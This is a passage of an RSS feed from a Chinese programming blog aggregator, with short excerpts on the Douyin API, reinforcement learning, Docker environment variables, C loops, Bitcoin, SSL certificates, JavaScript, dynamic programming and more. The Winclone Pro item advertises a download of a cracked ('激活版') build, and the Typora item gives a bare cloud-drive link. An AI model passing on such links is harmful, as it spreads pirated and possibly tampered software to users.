通过设定过滤条件和排序方式，您可以轻松筛选出有价值的信息，并按照特定的逻辑进行展示。format： 定义了数据的输出格式，满足不同应用场景的需求。 四、未来展望：抖音详情API引领媒体变革&#xA;抖音详情API不仅是一个工具，更是一种思维方式的转变。它预示着数据驱动的内容创新和智能化媒体交互的时代已经到来。从个性化推荐系统到智慧营销策略，从用户行为分析到趋势预测，抖音详情API都为开发者提供了一个全新的舞台。因此，掌握并善用这一API将成为每一位希望在数字媒体领域取得突破的策划者与开发者的必备技能。</description>
    </item>
    <item>
      <title>抖音详情API：开发环境搭建与工具选择</title>
      <link>https://bchobby.github.io/posts/f5a1aa096c89ddb9f20d38d754f57341/</link>
      <pubDate>Sun, 31 Dec 2023 17:11:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5a1aa096c89ddb9f20d38d754f57341/</guid>
      <description> 随着短视频的流行，抖音已经成为了一个备受欢迎的社交媒体平台。对于开发人员而言，利用抖音详情API开发定制化的抖音应用具有巨大的潜力。本文将为你详细介绍开发抖音应用的开发环境搭建与工具选择，帮助你顺利地开始开发工作。&#xA;一、开发环境搭建&#xA;在开始抖音应用开发之前，你需要搭建一个合适的开发环境。以下是搭建开发环境的基本步骤：&#xA;操作系统选择：根据你的开发习惯和项目需求，选择一个合适的操作系统。常用的操作系统包括Windows、macOS和Linux。确保你的操作系统能够支持你选择的开发工具和编程语言。集成开发环境（IDE）：选择一款合适的集成开发环境，这将帮助你更高效地进行编码、调试和测试。常用的IDE包括Visual Studio Code、Eclipse和Xcode等。你可以根据自己的喜好和项目需求选择一款合适的IDE。安装开发工具包：根据你的编程语言选择，安装相应的开发工具包。例如，如果你选择使用Python，你需要安装Python解释器。确保你选择的编程语言版本与抖音详情API兼容。安装依赖库：根据项目需求，可能需要安装一些额外的依赖库。你可以使用包管理器（如pip）来安装这些库。确保安装的依赖库版本与项目要求相匹配。网络连接与代理设置：如果你的开发环境需要连接到互联网，确保你的网络连接稳定可靠。此外，如果你需要使用代理服务器，请在IDE中进行相应的代理设置。 二、工具选择&#xA;在开发抖音应用时，选择合适的工具可以提高开发效率和质量。以下是常用的开发工具：&#xA;代码编辑器：除了集成开发环境外，还可以选择一些轻量级的代码编辑器，如Sublime Text、Atom等。这些编辑器通常具有更快的启动速度和丰富的插件支持，可以提高编码效率。版本控制系统：使用版本控制系统（如Git）可以帮助你更好地管理代码版本和协作开发。Git可以帮助你跟踪代码的变更历史、协同其他开发者共同工作以及管理代码分支等。API文档与在线资源：利用抖音开放平台的官方文档以及其他在线资源，可以帮助你更好地了解抖音详情API的使用方法和最佳实践。这些资源将为你提供详细的API文档、示例代码和解决方案，以解决开发过程中遇到的问题。调试工具：集成开发环境通常提供调试工具，帮助你跟踪代码中的问题并进行调试。了解如何使用调试工具可以提高代码质量和修复错误的速度。测试工具：为了确保抖音应用的稳定性和可靠性，你需要进行适当的测试。利用自动化测试工具（如Selenium）可以帮助你快速执行测试用例并确保应用在不同情况下都能正常运行。UI/UX设计工具：如果你需要进行用户界面设计或用户体验优化，可以选择一些UI/UX设计工具，如Sketch、Figma等。这些工具可以帮助你创建美观、用户友好的界面设计，提升用户体验。API测试工具：使用API测试工具（如Postman）可以帮助你在开发过程中快速测试API接口的功能和返回结果。这些工具通常提供易于使用的界面，让你轻松地发送请求、查看响应以及管理测试用例。 数据示例 </description>
    </item>
    <item>
      <title>机器学习笔记三——强化学习的V值计算</title>
      <link>https://bchobby.github.io/posts/a31317469da2c717339da88bf9900ed9/</link>
      <pubDate>Sun, 31 Dec 2023 16:47:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a31317469da2c717339da88bf9900ed9/</guid>
      <description>一、蒙特卡诺采样回溯计算V值 把智能体放入环境的任意状态——从这个状态开始按照策略进行动作选择，并进入新状态——重复步骤2，直至进入最终状态——从最终状态往前回溯，计算每个状态的G值——重复1~4状态多次，平均每个状态的G值，这就是所需的V值&#xA;1.具体G值计算如下： 按照策略往后走，过程中不进行计算，只记录每一步的奖惩r&#xA;从终点往前走，到某一状态获得的奖励总和就是G值。此时G=r+gamma*G_1，即这一步的G值等于奖惩r加上上一步的G值（G_1）乘以一定的折扣率（小于1）。这个折扣率是因为认为未来的奖惩对当前的影响与现在的奖惩不等价。&#xA;2.G值与V值得关系 每一个状态往后会有多条轨迹，走到状态终点。从终点往前回溯可以得到多个不同得G值，而V值是正是这个G值得平均值。但个状态对应的轨迹由于策略不同，选择的权重就不同，所以实际计算V值得时候需要将相应轨迹得G值乘以对应得权重。&#xA;此方法：每一次都需要从前走到尾，再从后往前追溯，运行时间过长&#xA;二、蒙特卡诺和时序差分估算状态V值 1.蒙特卡洛估算状态V值 相当于每回来一个G值，对V值进行一次估算。&#xA;更新法本质：新平均=旧平均+步长*（新加入元素-旧平均）&#xA;步长就决定你调节得快慢，有点类似梯度下降法。不断更新拟合，调整次数越多，与实际得V值更接近。&#xA;但仍旧存在需要等轨迹跑到状态终点回溯，所以也可能时间较长。&#xA;2.时序差分估算状态V值（应用最为广泛） 只需要走N步，就开始回溯。&#xA;回溯时有可能有两种可能：&#xA;1）第N步的状态之前没有走过，此时认为V_N=0&#xA;2）若第N步的状态之前走过，此时认为V_N=V&#xA;往前回溯的过程中G=r+gamma*V_N&#xA;这里面的V（St+1）就是V_N&#xA;持续更新中~&#xA;参考学习视频：6-SARSA算法和Q-learning算法_哔哩哔哩_bilibili</description>
    </item>
    <item>
      <title>ssh连接docker与宿主机进入docker环境变量不一致</title>
      <link>https://bchobby.github.io/posts/c2d14983fa3437e8b46d5498d991f887/</link>
      <pubDate>Sun, 31 Dec 2023 16:46:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2d14983fa3437e8b46d5498d991f887/</guid>
      <description>发现从宿主机用命令sudo docker exec -it [docker_name] /bin/bash进入docker程序运行没问题，但是通过ssh连接进入docker就有问题，发现是环境变量不一致导致，解法如下&#xA;1、在/etc/profile文件末尾中添加如下命令&#xA;for item in `cat /proc/1/environ |tr &#39;\0&#39; &#39;\n&#39;` do export $item done export $(cat /proc/1/environ |tr &#39;\0&#39; &#39;\n&#39; | xargs) 2、在~/.bashrc末尾添加如下语句，保证每次启动终端都会保证环境变量一致&#xA;source /etc/profile 参考：https://blog.csdn.net/m0_59029800/article/details/125479518</description>
    </item>
    <item>
      <title>Winclone Pro 10 for Mac：轻松备份和还原你的Windows系统</title>
      <link>https://bchobby.github.io/posts/9a30b9e2f1ecd69a3f4011784e44300c/</link>
      <pubDate>Sun, 31 Dec 2023 16:17:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a30b9e2f1ecd69a3f4011784e44300c/</guid>
      <description>Winclone Pro 10 for Mac是一款专为Mac用户设计的备份和还原软件，旨在帮助用户轻松管理和保护他们的Windows系统。无论是为了数据安全还是系统的稳定性，Winclone Pro 10都能提供全面的解决方案。&#xA;这款软件具备强大的备份功能，能够快速而准确地备份你的Windows系统，包括操作系统、应用程序和数据文件。备份过程只需一键操作，简单便捷。而当你需要恢复系统时，Winclone Pro 10能够快速还原备份的Windows系统，确保系统的完整性和稳定性。&#xA;除了备份和还原功能，Winclone Pro 10还提供其他实用的工具来优化和管理你的Windows系统。你可以轻松调整磁盘分区大小，优化系统性能和存储空间。此外，软件还支持创建可引导的外部硬盘，方便在其他Mac设备上部署Windows系统。&#xA;Winclone Pro 10采用直观友好的界面设计，使得操作简单易上手。无论你是计算机专业人士还是普通用户，都能轻松使用这款软件进行备份和还原操作，节省时间和精力。&#xA;总之，Winclone Pro 10 for Mac是一款功能强大、操作简单的备份和还原软件，为你的Windows系统提供全方位的保护。无论是在工作中还是个人使用中，这款软件都能让你轻松备份和还原你的Windows系统。赶快体验Winclone Pro 10，保护你的Windows系统安全稳定！&#xA;下载安装：Winclone pro 10 for mac(Boot Camp分区备份还原工具) v10.2中/英文激活版</description>
    </item>
    <item>
      <title>三、C语言中的分支与循环—break和continue语句（8）循环结构 完</title>
      <link>https://bchobby.github.io/posts/d0b65b58a4f3258146e5f9c7cf12a9de/</link>
      <pubDate>Sun, 31 Dec 2023 16:13:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0b65b58a4f3258146e5f9c7cf12a9de/</guid>
      <description>本章分支结构的学习内容如下：&#xA;三、C语言中的分支与循环—if语句 (1)&#xA;三、C语言中的分支与循环—关系操作符 (2)&#xA;三、C语言中的分支与循环—条件操作符 与逻辑操作符(3)&#xA;三、C语言中的分支与循环—switch语句（4）分支结构 完&#xA;本章循环结构的学习内容如下：&#xA;三、C语言中的分支与循环—while循环 (5)&#xA;三、C语言中的分支与循环—for循环 (6)&#xA;三、C语言中的分支与循环—do-while循环 (7)&#xA;三、C语言中的分支与循环—break和continue语句（8）循环结构 完 1.基本概念 在循环执行的过程中，如果某些状况发⽣的时候，需要提前终止循环，这是非常常见的现象。C语⾔中 提供了 break 和 continue 两个关键字，就是应该到循环中的。 • break 的作用是用于永久的终止循环，只要 break 被执行，直接就会跳出循环，继续往后执行 • continue 的作用是跳过本次循环 continue 后边的代码，在 for 循环和 while 循环中有所差异的。 其实我们在之前已经接触到了break语句，在switch分支结构中，break语句用于跳出分支结构，避免穿透现象，详细解释见 三、C语言中的分支与循环—switch语句（4）分支结构 完 2.while循环中的break和continue 1)break 代码示例&#xA;打印了1,2,3,4后，当i等于5的时候，循环正 break 的地⽅终⽌，不再打印，不再循环。 所以 break 的作⽤就是永久的终⽌循环，只要 break 被执⾏， break 外的第⼀层循环就终⽌了。 那以后我们在循环中，想在某种条件下终⽌循环，则可以使⽤ break 来完成我们想要的效果。 #include &amp;lt;stdio.h&amp;gt; int main() { int i = 1; while (i &amp;lt;= 10) { if (i == 5) break;//当i等于5后，就执⾏break，循环就终⽌了 printf(&#34;</description>
    </item>
    <item>
      <title>[2024区块链开发入门指引] - 比特币运行原理</title>
      <link>https://bchobby.github.io/posts/4de3309191f4f00fae9766459e21cfd7/</link>
      <pubDate>Sun, 31 Dec 2023 16:13:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4de3309191f4f00fae9766459e21cfd7/</guid>
      <description>一份为小白用户准备的免费区块链基础教程&#xA;工欲善其事,必先利其器 Web3开发中，各种工具、教程、社区、语言框架.。。。&#xA;种类繁多，是否有一个包罗万象的工具专注与Web3开发和相关资讯能毕其功于一役？&#xA;参见另一篇博文👉 2024最全面且有知识深度的web3开发工具、web3学习项目资源平台&#xA;如何持有和使用比特币 作为比较，我们先回顾下现实的银行系统：&#xA;首先我们需要使用个人信息（如身份证）给银行，银行给我们开户，开户时确立了我们对该账户的所有权。&#xA;进行支付的时候，银行对交易双方账户余额进行增减。但比特币是一个去中心化的系统，没有这样的第三方，它是如何确定某个账户的比特币是属于谁的？这个问题等同于谁可以使用这个账户的比特币？&#xA;在比特币的公共共享总帐本中，记录了所有地址持有的余额，比特币的账户是用地址来表示。&#xA;当需要转账时，发送一笔类似的交易（为了理解做了简化）：&#xA;&#34;from&#34;：&#34;1ABzp1eP5QGefi2DMPTf...&#34; &#34;to&#34;：&#34;3FRdnTq18LyNveWa1gQJcgp...&#34; &#34;amount&#34;：&#34;1 btc&#34; 当然比特币节点需要这笔交易是谁发起的，只有当由地址 1ABzp1eP5QGefi2DMPTf… 发起才是真正有效，因此要求发起人对交易信息进行签名，签名是用地址 1ABzp1eP5QGefi2DMPTf… 对应的私钥进行的。&#xA;当我们创建一个比特币地址（账户时），会首先生成一个随机数作为私钥，然后根据椭圆曲线算法(ECDSA)计算出公钥，然后在根据哈希运算及校验编码得到比特币地址。&#xA;比特币地址格式 目前比特币有三种地址类型：&#xA;P2PKH 地址，也叫 “传统地址（Legacy address）”，以数字 “1” 开头，长度为 26 个到 36 个字符， 如：1ABzp1eP5QGefi2DMPTfTL5SLmv7DivfNaP2SH 地址，以数字 “3” 开头, 如：3FRdnTq18LyNveWa1gQJcgp8qEnzijv5vR .P2WPKH 地址，也叫 “Bech32 地址”，是一种高级的地址，以 “bc1” 开头. 公钥及地址是公开的，私钥这是保密的，私钥推导地址的过程也是单向的，无法通过地址反推到公钥及私钥。&#xA;因此当我们持有某地址的私钥，就是持有该地址下的比特币，因此私钥必须妥善保管。&#xA;UTXO 模型&#xA;实际上，在比特币账本中，并不是的记录某个账户的余额是多少（和以太坊的账户余额模型不一样），比特币引入了一个“未花费的交易输出”（UTXO： Unspent Transaction Output）概念，一个 UTXO 代表 “一整块” 的可以使用比特币。UTXO 作为交易的输入。&#xA;一个 UTXO 在交易时可以产生多个 UTXO ，比特币的交易时不断消费老 UTXO 产生新的 UTXO 的过程，当一个 UTXO 被作为交易的输入后，就不再是未花费的了（STXO），在某个时间点，所有 UTXO 的集合都被称为 UTXO 集。比特币节点会追踪 UTXO 集，从而确定哪些代币未被花费，以及哪些人可以花费它们。从而避免双花（Double Spend）问题。</description>
    </item>
    <item>
      <title>告别HTTP，拥抱HTTPS！免费SSL证书领取指南</title>
      <link>https://bchobby.github.io/posts/6edce8956f0b1cf8be3a53f440824d54/</link>
      <pubDate>Sun, 31 Dec 2023 16:08:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6edce8956f0b1cf8be3a53f440824d54/</guid>
      <description>为什么选择HTTPS？ HTTP和HTTPS之间的主要区别在于安全性。HTTP是一种不安全的协议，数据在传输过程中是明文的，容易受到中间人攻击。而HTTPS通过SSL（Secure Sockets Layer）或TLS（Transport Layer Security）协议对数据进行加密，确保传输过程中的安全性，防止信息被窃取或篡改。&#xA;在过去，HTTPS主要用于处理敏感信息，如银行交易或在线购物。然而，随着网络犯罪的不断进化，以及用户对隐私保护的日益重视，将网站整体迁移到HTTPS已经成为一种趋势。&#xA;免费SSL证书的重要性 要实现HTTPS，网站需要获得SSL证书。SSL证书是一个加密和身份验证的数字文件，用于确保网站与用户之间的安全通信。以前，获得SSL证书可能是一个昂贵的过程，因为通常需要支付费用。然而，现在有许多提供免费SSL证书的权威机构，使网站所有者更容易为其网站添加安全性。&#xA;免费SSL证书的领取指南 步骤1：选择可信的SSL证书颁发机构 在选择免费SSL证书之前，确保选择一个可信赖的SSL证书颁发机构。一些知名的机构提供免费的基础SSL证书，如JoySSL等。这些机构被广泛认可，其证书在浏览器中得到了良好的支持。&#xA;免费SSL证书申请地址https://www.joyssl.com/certificate/select/free.html?nid=5步骤2：注册账户并验证域名所有权 一旦选择了SSL证书颁发机构，你需要在其网站上注册一个账户。注册完成后，你将需要验证你拥有要使用SSL证书的域名。通常，验证可以通过添加特定的DNS记录或上传特定文件到你的服务器来完成。&#xA;步骤3：获取并安装SSL证书 验证通过后，你可以在SSL证书颁发机构的控制面板或网站上获得免费SSL证书。一般来说，这个过程是自动化的，颁发机构会提供你需要的证书文件。接下来，你只需按照提供的指南在你的服务器上安装证书。&#xA;步骤4：配置网站以使用HTTPS 安装证书后，还需要对你的网站进行一些配置，以确保它正常使用HTTPS。这包括更新网站的链接、确保资源（如图片、样式表和脚本）也使用HTTPS等。</description>
    </item>
    <item>
      <title>安装Typora</title>
      <link>https://bchobby.github.io/posts/a2ca379841f110f9285678843bfeed11/</link>
      <pubDate>Sun, 31 Dec 2023 15:58:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2ca379841f110f9285678843bfeed11/</guid>
      <description>链接：https://pan.baidu.com/s/1OLHtUTziKdB0sW0UIOnBBw?pwd=6666&#xA;提取码：6666</description>
    </item>
    <item>
      <title>【数据结构】第二章——线性表(1)</title>
      <link>https://bchobby.github.io/posts/0fda3ae7be68a95b95aa7d80bc9a8dcb/</link>
      <pubDate>Sun, 31 Dec 2023 15:55:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fda3ae7be68a95b95aa7d80bc9a8dcb/</guid>
      <description>线性表的定义和基本操作 导言1.线性表的定义1.1 理解定义1.2 线性表的图像1.3 线性表的逻辑特性 2.线性表的特点3.线性表的基本操作结语 导言 大家好，很高兴又和大家见面啦！！！从今天开始，我们将进入线性表的学习。&#xA;线性表是算法题命题的重点。这类算法题实现起来比较容易且代码量较少，但是要求具有最优的性能（时间复杂度、空间复杂度），因此，我们应该牢固掌握线性表的各种基本操作（基于两种存储结构），在平时的学习中多注重培养动手能力。&#xA;今天这个篇章是对线性表的一个基本知识点的介绍，在这个篇章里，我们将学习到什么是线性表，线性表的基本操作又有哪些，下面我们开始介绍今天的内容。&#xA;1.线性表的定义 线性表是具有相同数据类型的n(n&amp;gt;=0)个数据元素的有限序列，其中n为表长，当n=0时线性表是一个空表。&#xA;1.1 理解定义 从线性表的定义中我们可以提取到几个信息：&#xA;相同类型n&amp;gt;=0有限序列 通过这几个信息，我可以知道：&#xA;线性表的数据元素的元素类型，只要是相同的数据类型就行；线性表的元素个数可以为0，即线性表中没有元素；线性表的元素个数是有上限的，即线性表的元素有一个终点；线性表的元素的排列是有序的，并不是杂乱无章的； 大家现在可以思考一下，在我们学习C语言的过程中有没有与线性表的这些条件吻合的知识点呢？&#xA;有朋友很快就想到了——数组。&#xA;现在我们来看一下数组的一些特点：&#xA;数组的元素是相同数据类型的；数组的元素的下标是从0开始依次递增的；在定义数组时是需要指定数组大小的；数组最后一个元素的下标 = 数组大小 - 1； 现在咱们再来对比一下线性表的定义，是不是完全符合呀！因此我们可以得到结论：&#xA;数组就是一种线性表 在线性表中，数据元素因为是有序排列的，所以每一个元素都有自己对应的序号，我们将这个序号称为位序；&#xA;与数组下标不同的是，线性表数据元素的位序是从1开始的，位序为1的元素就是线性表中的第一个元素，位序为n的元素就是线性表中的第n个元素，若用L命名线性表，则其一般表示为：&#xA;L = ( a 1 , a 2 , … … , a i , a i + 1 , … … , a n ) L=(a_1,a_2,……,a_i,a_{i+1},……,a_n) L=(a1​,a2​,……,ai​,ai+1​,……,an​)&#xA;在这个式子中 a 1 a_1 a1​和 a n a_n an​分别代表的是线性表的第一个元素和线性表的最后一个元素。&#xA;1.2 线性表的图像 在线性表中，只有唯一的“第一个”数据元素，所以我们又将 a 1 a_1 a1​称为表头元素；</description>
    </item>
    <item>
      <title>前端八股文（JS篇）</title>
      <link>https://bchobby.github.io/posts/b3e6e061c213feb3dc555f20165714ce/</link>
      <pubDate>Sun, 31 Dec 2023 15:50:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3e6e061c213feb3dc555f20165714ce/</guid>
      <description>目录&#xA;1.数组有哪些原生方法？&#xA;2.substring和substr的区别&#xA;3.object.assign和扩展运算法是深拷贝还是浅拷贝，两者区别&#xA;4.new操作符的实现原理&#xA;5.for...in和for...of的区别&#xA;6.对AJAX的理解，实现一个AJAX请求&#xA;7.ajax，axios，fetch的区别&#xA;8.forEach和map方法有什么区别&#xA;9.什么是尾调用，使用尾调用有什么好处？&#xA;10.你用过哪些设计模式&#xA;1.数组有哪些原生方法？ 数组和字符串的转换方法: toString(),toLocalString(),join()，其中join（方法可以指定转换为字符串时的分隔符。数组尾部的操作的方法pop()和push(),push方法可以传入多个参数。数组首部操作的方法shift()和unshift()重排序的方法reverse()和sort(),sort()方法可以传入一个函数来进行比较，传入前后两个值，如果返回值是正数，则交换两个参数的位置。数组的连接的方法concat()，返回的是拼接好的数组，不影响原数组。数组截取方法slice()，用于截取数组中的一部分返回，不影响原数组。数值插入方法splice()，影响原数组查找特定项的索引的方法，indexOf()和lastIndexOf()迭代方法every()，some(),filter（），map（），和forEach()方法数组归并方法reduce（）和reduceRight（）方法改变原数组的方法：fill(),pop(),push(),shift(),splice(),unshift(),reverse(),sort();不改变原数组的方法：concat(),every(),filter(),find(),findIndex(),forEach(),indeOf(),join(),lastIndexOf(),map(),reduce(),reduceRight(),slice(),some(). 2.substring和substr的区别 它们都是字符串方法，用于截取字符串的一部分，主要区别在于参数不同&#xA;substring(startIndex,endIndex):接收两个参数，一个起始索引和结束索引，来指定字符串范围，如果省略第二个参数，则截取到字符串末尾。substr(startIndex,length) ：接收两个参数，并返回从startIndex开始，长度为length的子字符串。如果省略第二个参数，则截取到字符串末尾。 const str = &#34;Hello, World!&#34;; console.log(str.substring(0, 5)); // 输出: &#34;Hello&#34; console.log(str.substr(7, 5)); // 输出: &#34;World&#34; 3.object.assign和扩展运算法是深拷贝还是浅拷贝，两者区别 都是浅拷贝&#xA;object.assign()方法接收的第一个参数作为目标对象，后面的所有参数作为源对象。然后把所有的源对象合并到目标对象中。它会修改一个对象，因此会触发ES6setter扩展操作符(...)使用它时，数组或对象中的每一个值都会被拷贝到一个新的数组或对象中。它不复制继承的属性或类的属性，但它会复制ES6的symbols属性 4.new操作符的实现原理 new操作符用来创建一个对象，并将该对象绑定到构造函数的this上。&#xA;new操作符的执行过程：&#xA;创建一个空对象设置原型，将构造函数的原型指向空对象的prototype属性。将this指向这个对象，通过apply执行构造函数。判断函数的返回值类型，如果是值类型，返回创建的对象。如果是引用类型，就返回这个引用类型的对象 5.for...in和for...of的区别 for...in和for...of都是JavaScript中的循环语句，而for...of是ES6新增的遍历方式，允许遍历一个含有Iterator接口的数据结构（数组，对象等）并且返回各项的值，和ES3中for...in的区别如下：&#xA;for...of遍历获取的是对象的键值，for...in获取的是对象的键名for...in会遍历对象的整个原型链，性能差不推荐使用，而for...of只遍历当前对象不会遍历原型链对于数组的遍历，for...in会返回数组中所有可枚举的属性（包括原型链上可枚举的属性），for...of只返回数组的下标对应的属性值。 总结：for...in循环设为了遍历对象而生，不适用遍历数组，for...of循环可以用来遍历数组，类数组对象，字符串，set，map以及generator对象。&#xA;6.对AJAX的理解，实现一个AJAX请求 AJAX是 Asynchronous JavaScript and XML 的缩写，指的是通过JavaScript的异步通信，从服务器获取xml文档从中提取数据，在更新当前网页的对应部分，而不用刷新整个网页。创建AJAX请求的步骤：&#xA;创建一个XMLHttpReuqest对象。在这个对象使用open方法创建一个HTTP请求，open方法所需要的参数是请求的方法，请求的地址，是否异步和用户的认证信息。在发起请求前，可以为这个对象添加一些信息和监听函数。比如说可以通过setRequestHeader方法来为请求添加头信息。还可以为这个对象添加一个状态监听函数。一个XMLHttpRequest对象一共有5个状态，当他的状态变化时会触发onreadystatechange事件，可以通过设置监听函数，来处理请求成功后的结果。当对象的readyState变为4的时候，代表服务器返回的数据接收完成，这个时候可以通过判断请求的状态，如果状态时2xx或者304的话代表返回值正常。这个时候就可以通过response中的数据来对页面进行更新了。当对象的属性和监听函数设置完成后，最后调用send方法来向服务器发起请求，可以传入参数作为发送的数据体。 const SERVER_URL = &#34;/server&#34;; let xhr = new XMLHttpRequest(); // 创建 Http 请求 xhr.open(&#34;GET&#34;, url, true); // 设置状态监听函数 xhr.</description>
    </item>
    <item>
      <title>docker的学习以及使用,利用docker开minecraft服务器</title>
      <link>https://bchobby.github.io/posts/b2baf73ee1006f2cf99d538f47ffa8ed/</link>
      <pubDate>Sun, 31 Dec 2023 15:48:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2baf73ee1006f2cf99d538f47ffa8ed/</guid>
      <description>简介 Docker是一个开源的平台，用于开发、交付和运行应用程序。它使用容器技术，允许开发者将应用程序及其依赖项打包到一个轻量级、可移植的容器中。这个容器可以在任何支持Docker的环境中运行，而无需担心环境差异或依赖项冲突。&#xA;Docker 使用 Google 公司推出的 Go 语言 进行开发实现，基于 Linux 内核的 cgroup，namespace，以及 OverlayFS 类的 Union FS 等技术，对进程进行封装隔离，属于 操作系统层面的虚拟化技术。由于隔离的进程独立于宿主和其它的隔离的进程，因此也称其为容器。&#xA;Docker 在容器的基础上，进行了进一步的封装，从文件系统、网络互联到进程隔离等等，极大的简化了容器的创建和维护。使得 Docker 技术比虚拟机技术更为轻便、快捷。&#xA;下面的图片比较了 Docker 和传统虚拟化方式的不同之处。传统虚拟机技术是虚拟出一套硬件后，在其上运行一个完整操作系统，在该系统上再运行所需应用进程；而容器内的应用进程直接运行于宿主的内核，容器内没有自己的内核，而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便。&#xA;安装 Docker Docker Hub&#xA;在这上面下载安装包后安装安装时如果勾选WSL2,需要安装好WSL2 Docker优点 作为一种新兴的虚拟化方式，Docker 跟传统的虚拟化方式相比具有众多的优势。&#xA;更高效的利用系统资源&#xA;由于容器不需要进行硬件虚拟以及运行完整操作系统等额外开销，Docker 对系统资源的利用率更高。无论是应用执行速度、内存损耗或者文件存储速度，都要比传统虚拟机技术更高效。因此，相比虚拟机技术，一个相同配置的主机，往往可以运行更多数量的应用。&#xA;更快速的启动时间&#xA;传统的虚拟机技术启动应用服务往往需要数分钟，而 Docker 容器应用，由于直接运行于宿主内核，无需启动完整的操作系统，因此可以做到秒级、甚至毫秒级的启动时间。大大的节约了开发、测试、部署的时间。&#xA;一致的运行环境&#xA;开发过程中一个常见的问题是环境一致性问题。由于开发环境、测试环境、生产环境不一致，导致有些 bug 并未在开发过程中被发现。而 Docker 的镜像提供了除内核外完整的运行时环境，确保了应用运行环境一致性，从而不会再出现 「这段代码在我机器上没问题啊」 这类问题。&#xA;持续交付和部署&#xA;对开发和运维（DevOps）人员来说，最希望的就是一次创建或配置，可以在任意地方正常运行。&#xA;使用 Docker 可以通过定制应用镜像来实现持续集成、持续交付、部署。开发人员可以通过 Dockerfile 来进行镜像构建，并结合 持续集成(Continuous Integration) 系统进行集成测试，而运维人员则可以直接在生产环境中快速部署该镜像，甚至结合 持续部署(Continuous Delivery/Deployment) 系统进行自动部署。&#xA;而且使用 Dockerfile 使镜像构建透明化，不仅仅开发团队可以理解应用运行环境，也方便运维团队理解应用运行所需条件，帮助更好的生产环境中部署该镜像。&#xA;更轻松的迁移&#xA;由于 Docker 确保了执行环境的一致性，使得应用的迁移更加容易。Docker 可以在很多平台上运行，无论是物理机、虚拟机、公有云、私有云，甚至是笔记本，其运行结果是一致的。因此用户可以很轻易的将在一个平台上运行的应用，迁移到另一个平台上，而不用担心运行环境的变化导致应用无法正常运行的情况。</description>
    </item>
    <item>
      <title>【十一】【C&#43;&#43;\动态规划】1218. 最长定差子序列、873. 最长的斐波那契子序列的长度、1027. 最长等差数列，三道题目深度解析</title>
      <link>https://bchobby.github.io/posts/86200d2b538fc8362b598f69cebd692b/</link>
      <pubDate>Sun, 31 Dec 2023 15:34:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86200d2b538fc8362b598f69cebd692b/</guid>
      <description>动态规划 动态规划就像是解决问题的一种策略，它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题，并将每个小问题的解保存起来。这样，当我们需要解决原始问题的时候，我们就可以直接利用已经计算好的小问题的解，而不需要重复计算。&#xA;动态规划与数学归纳法思想上十分相似。&#xA;数学归纳法：&#xA;基础步骤（base case）：首先证明命题在最小的基础情况下成立。通常这是一个较简单的情况，可以直接验证命题是否成立。&#xA;归纳步骤（inductive step）：假设命题在某个情况下成立，然后证明在下一个情况下也成立。这个证明可以通过推理推断出结论或使用一些已知的规律来得到。&#xA;通过反复迭代归纳步骤，我们可以推导出命题在所有情况下成立的结论。&#xA;动态规划：&#xA;状态表示：&#xA;状态转移方程：&#xA;初始化：&#xA;填表顺序：&#xA;返回值：&#xA;数学归纳法的基础步骤相当于动态规划中初始化步骤。&#xA;数学归纳法的归纳步骤相当于动态规划中推导状态转移方程。&#xA;动态规划的思想和数学归纳法思想类似。&#xA;在动态规划中，首先得到状态在最小的基础情况下的值，然后通过状态转移方程，得到下一个状态的值，反复迭代，最终得到我们期望的状态下的值。&#xA;接下来我们通过三道例题，深入理解动态规划思想，以及实现动态规划的具体步骤。&#xA;1218. 最长定差子序列 - 力扣（LeetCode） 题目解析 状态表示 状态表示一般通过经验+题目要求得到，&#xA;经验一般指，以某个位置为结尾，或者以某个位置为开始。&#xA;我们可以很容易得到这样一个状态表示，定义dp[i]表示以i位置为结尾的最长的等差子序列的长度。&#xA;状态转移方程 dp[i]表示以i位置为结尾的最长的等差子序列的长度。&#xA;我们针对于（以i位置元素为结尾的等差子序列，以及i位置元素）进行分析，想一想dp[i]能不能由其他状态推导得出。&#xA;如果只考虑i位置一个元素， 等差子序列只有i位置一个元素，长度为1，故dp[i]=1。&#xA;如果不止考虑i位置一个元素， 那么i位置元素可能跟在前面（0~i-1）中任意满足（arr[i]-arr[j]=difference）的元素后面，（0&amp;lt;=j&amp;lt;=i-1)，对于确定的一个j值，此时dp[i]=dp[j]+1，意味着j位置元素和i位置元素构成等差子序列。 由于(0&amp;lt;=j&amp;lt;=i-1) 所以dp[i]=max（dp[i],dp[j]+1），需要在（0~i-1）这些状态中找到最大的值存储在dp[i]中。&#xA;将上述情况进行合并和简化，&#xA;如果第二种情况，至少有一个j满足情况，进行了赋值操作。&#xA;因为dp[i]的取值需要在自己和前面的值中选取最大的一个，并且是赋值，所以在最开始的赋值中，自己必须有初始值。&#xA;在自己初始化的前提下，dp[i]一定会被赋值为一个大于1的值，所以就不会取到第一种情况。&#xA;如果第二种情况，没有一个j满足要求，没有进行赋值操作。 那么dp[i]就只能自己构成等差子序列，dp[i]就等于1。&#xA;综上所述，我们需要初始化所有位置状态为1，保证dp[i]最开始有初始值，同时状态初始化为1，是最长等差子序列的最低标准，把只有自己一个元素的情况考虑进去了。&#xA;状态转移方程为，&#xA;for (int i = 1; i &amp;lt; n; i++) { for (int j = 0; j &amp;lt; i; j++) { if (arr[i] - arr[j] == difference) { dp[i] = fmax(dp[i], dp[j] + 1); } } } 初始化 根据状态转移方程，我们知道，想要推导出i位置的状态，需要用到（0~i-1）位置的状态，所以我们需要初始化第一个位置的状态，即dp[0]=1。</description>
    </item>
    <item>
      <title>ESP32入门九(超声波测距传感器)</title>
      <link>https://bchobby.github.io/posts/8f6834797b17c34a468737533d2827eb/</link>
      <pubDate>Sun, 31 Dec 2023 15:25:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f6834797b17c34a468737533d2827eb/</guid>
